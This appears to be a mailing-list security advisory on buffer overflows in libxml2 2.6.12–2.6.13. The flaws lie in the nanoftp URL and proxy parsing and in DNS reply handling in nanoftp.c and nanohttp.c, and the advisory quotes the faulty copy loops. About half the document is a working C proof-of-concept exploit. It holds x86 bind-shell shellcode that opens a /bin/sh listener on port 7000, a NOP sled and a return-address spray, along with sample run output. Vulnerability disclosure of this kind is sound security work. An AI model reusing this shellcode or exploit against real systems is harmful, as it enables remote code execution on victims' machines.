<<< Date Index >>>     <<< Thread Index >>>

libxml2 remote buffer overflows (not in xml parsing code though)



+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Subject:

libXML remotely exploitable buffer overflows.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Product Description:

Libxml2 is the XML C parser and toolkit developed for the Gnome project (but
usable outside of the Gnome platform), it is free software available under the
MIT License. XML itself is a metalanguage to design markup languages, i.e. text
language where semantic and structure are added to the content using extra
"markup" information enclosed between angle brackets. HTML is the most
well-known markup language. Though the library is written in C a variety of
language bindings make it available in other environments.
http://www.xmlsoft.org/

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerable:

Tested on libxml2-2.6.12 and libxml2-2.6.13.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Summary:

1]There is a buffer overflow when parsing a URL with ftp information in it.  A
loop incorrectly copies data from a user supplied buffer into a finite stack
buffer with no regard for the length being copied.

2]There is a buffer overflow when parsing a proxy URL with ftp information in
it. A loop incorrectly copies data from a user supplied buffer into a finite
stack buffer with no regard for the length being copied.

3]There are multiple buffer overflows in the code that resolves names via DNS. 
An attacker running a malicious DNS server, or an attacker on a LAN spoofing DNS
replies could leverage these to execute code on the victim's computer.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Details:

1]The vulnerable code occurs in the file nanoftp.c in function
xmlNanoFTPScanURL() around line 360:

    while (cur[0] != ']')
        buf[indx++] = *cur++;
             

buf is the stack buffer, and cur is the URL we control.  What's funny here, is
that in other areas of the code the same mistake is avoided, we have this:

    while ((cur[0] != ']') && (indx < XML_NANO_MAX_URLBUF-1))
        buf[indx++] = *cur++;

Which occurs in a similar function to the one called above.
  

2]The vulnerable code occurs in the file nanoftp.c in function
xmlNanoFTPScanProxy() around line 610:

    while (cur[0] != ']')
        buf[indx++] = *cur++;
             

buf is the stack buffer, and cur is the URL we control.


3]There are two different functions, with three different code sections each
containing two overflows.  However I'd classify this as two distinct bugs, not
six, as two of the bugs are conditionally compiled in only if two others are
not.  The first two occur in the file nanoftp.c, lines 1110-1120, in the
function xmlNanoFTPConnect().  The function getaddrinfo() is called to resolve a
hostname, the returned info is then copied into a heap buffer in a call to
memcpy().  The copy length is taken from the DNS reply, rather than using the
size of the destination structure.  The second set occur in nanohttp.c, lines
1070-1080, in the function xmlNanoHTTPConnectHost().  Data from getaddrinfo() is
again copied incorrectly, this time into a local stack buffer.  The third set of
overflows occurs in nanohttp.c, lines 1145-1155, in the function
xmlNanoHTTPConnectHost().  This time, gethostbyname() is called, and data is
again memcpy()'d into a local stack buffer using the DNS length instead of
destination structure size.


+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Exploit:

1]Simple stack based overflow, exploit provided.

2]Nearly same exploit as above, just change function name.

3]None provided.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Notes:

This DOES NOT affect the core xml parsing code, which is what 99% of programs
use this for.  One program that does use the above code is ImageMagick, but
exploiting it would require the user typing your shellcode buffer into the
command line for you, g/l :D

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

/*
 *  libxml 2.6.12 nanoftp bof POC   infamous42mdAThotpopDOTcom
 *
 *  [n00b@xxxxxxxxxxxxxxxx] gcc -Wall libsuxml.c -lxml2
 *  [n00b@xxxxxxxxxxxxxxxx] ./a.out 
 *  Usage: ./a.out <retaddr> [ align ]
 *  [n00b@xxxxxxxxxxxxxxxx] netstat -ant | grep 7000
 *  [n00b@xxxxxxxxxxxxxxxx] ./a.out 0xbfff0360
 *  xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
 *  [n00b@xxxxxxxxxxxxxxxx] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN  
    
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0

/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    
 
/*
 */
int main(int argc, char **argv)
{
    int x = 0, len = 0;
    char    buf[BS] = {'A',};
    long    retaddr = 0, align = ALIGN;

    if(argc < 2){
        fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(sscanf(argv[1], "%lx", &retaddr) != 1)
        die("sscanf");
    if(argc > 2)
        align = atoi(argv[2]);
    if(align < 0 || align > 3)
        die("nice try newblar");

    strncpy(buf, "://[", 4);
    len += 4;
    memset(buf+len, NOP, NNOPS);
    len += NNOPS;
    memcpy(buf+len, sc, SHELL_LEN);
    len += SHELL_LEN;
    
    len += align;
    for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
        memcpy(buf+len+x, &retaddr, sizeof(retaddr));
    buf[len+x] = ']';
    buf[len+x+1] = 0;

    xmlNanoFTPNewCtxt(buf);

    return EXIT_SUCCESS;
}


-- 
-sean